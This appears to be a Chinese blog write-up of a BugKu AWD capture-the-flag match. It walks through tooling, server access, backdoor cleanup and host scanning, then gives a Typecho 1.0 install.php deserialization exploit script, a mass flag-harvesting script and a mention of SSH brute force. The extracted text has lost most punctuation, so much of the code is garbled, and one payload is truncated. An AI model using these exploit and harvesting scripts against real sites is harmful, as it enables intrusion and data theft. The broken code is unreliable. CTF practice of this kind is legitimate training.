新手也能玩转AWD:从BugKu靶场实战到Typecho 1.0漏洞利用全记录

发布时间:2026/5/26 3:01:46

新手也能玩转AWD:从BugKu靶场实战到Typecho 1.0漏洞利用全记录 新手也能玩转AWD从BugKu靶场实战到Typecho 1.0漏洞利用全记录第一次参加AWD比赛时我盯着屏幕上的命令行不知所措——这场景像极了刚拿到驾照就被扔进F1赛场。作为零基础选手本文将用最直白的语言还原从连接服务器到最终拿下flag的全过程重点分享那些官方教程不会告诉你的笨办法和踩坑实录。1. 赛前准备工具链搭建工欲善其事必先利其器但新手常陷入工具选择困境。我的实战装备清单经过多次优化FinalShell比FileZilla更友好的SSH/SFTP工具支持拖拽上传下载D盾_Web查杀v3.0本地查杀后门利器注意关闭实时监控避免误杀Python 3.8建议安装requests和pythonping库Wappalyzer插件Chrome商店安装一键识别CMS类型提示所有工具提前在本地测试环境演练比赛时网络延迟可能导致下载失败安装Python依赖时遇到版本冲突的典型报错ERROR: Could not build wheels for pythonping, which is required to install pyproject.toml-based projects解决方案是升级pip并指定版本pip install --upgrade pip setuptools wheel pip install pythonping1.1.42. 初入战场服务器连接与源码获取比赛开始的倒计时声中拿到如下登录信息IP: 192.168.1.100.pvp1964.bugku.cn 用户: team12 密码: Kg3q#9Fv!新手易错点直接使用Windows命令行连接会导致中文乱码部分SSH工具默认禁用SFTP协议下载源码时权限不足推荐连接方案import paramiko ssh paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect(192.168.1.100.pvp1964.bugku.cn, usernameteam12, passwordKg3q#9Fv!) sftp ssh.open_sftp() sftp.get(/var/www/html, local_backup.zip)3. 防御第一步源码审计与后门清理下载的源码需要立即进行三重检查检查项工具关键点常见后门河马在线查杀注意.php文件中的eval函数调用隐藏木马D盾检查.htaccess文件可疑连接手动搜索grep -r base64_decode ./发现后门的处理优先级直接删除明显木马文件如shell.php注释重要文件中的恶意代码如config.php备份原始文件后再修改4. 进攻策略存活主机探测传统ping扫描在实战中效率低下改进方案对比方案一基础Ping扫描耗时约4分钟import os os.system(chcp 65001) for i in range(1,255): ip f192.168.1.{i}.pvp1964.bugku.cn if os.system(fping -n 1 {ip}) 0: print(f[] {ip} is alive)方案二多线程HTTP探测20秒完成import requests from concurrent.futures import ThreadPoolExecutor def check_ip(ip): try: if requests.get(fhttp://{ip}, timeout2).status_code 200: print(f[] {ip} 存活) except: pass with ThreadPoolExecutor(50) as executor: executor.map(check_ip, [f192.168.1.{i}.pvp1964.bugku.cn for i in range(1,255)])5. 漏洞利用Typecho 1.0反序列化实战通过Wappalyzer识别出目标运行Typecho 1.0后漏洞利用分三步走自我保护立即删除自己服务器的/install.php漏洞验证尝试读取对方/etc/passwdFlag获取全局搜索flag文件改良版漏洞利用脚本import requests import base64 class Exploit: def __init__(self, target): self.target target self.payload self.generate_payload(find / -name *flag*) def generate_payload(self, cmd): # 精简后的payload生成逻辑 return YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxO... def execute(self): res requests.post( fhttp://{self.target}/install.php, data{__typecho_config: self.payload}, timeout3 ) print(res.text) Exploit(192.168.1.55.pvp1964.bugku.cn).execute()6. 攻防拉锯实时监控与自动化比赛进入中后期需要建立防御体系文件监控使用inotify-tools监听web目录inotifywait -m -r /var/www/html -e create,modify | while read path action file; do echo $file was $action at $(date) done流量分析实时检测异常请求from http.server import BaseHTTPRequestHandler, HTTPServer class Handler(BaseHTTPRequestHandler): def do_GET(self): if install.php in self.path: print(f[!] 可疑请求: {self.client_address[0]}) self.send_response(404) HTTPServer((0.0.0.0, 80), Handler).serve_forever()7. 效率提升批量化攻击脚本最终版的flag收割脚本需要处理三种常见情况Flag在/flag文件Flag需要执行命令获取Flag藏在数据库import threading import subprocess class FlagHunter: staticmethod def get_flag(ip): try: r requests.get(fhttp://{ip}/flag, timeout1) if flag{ in r.text: return r.text # 其他获取方式... except: return None for ip in alive_ips: t threading.Thread(targetFlagHunter.get_flag, args(ip,)) t.start()第一次参赛时我在最后十分钟才发现对手修复了漏洞临时改用SSH爆破才拿到关键分。这种惊心动魄的体验正是AWD比赛的魅力所在——它逼着你把书本知识转化为肌肉记忆。现在我的工具包里常备三个版本的exp脚本因为永远不知道下一场比赛会禁用哪些库函数。

相关新闻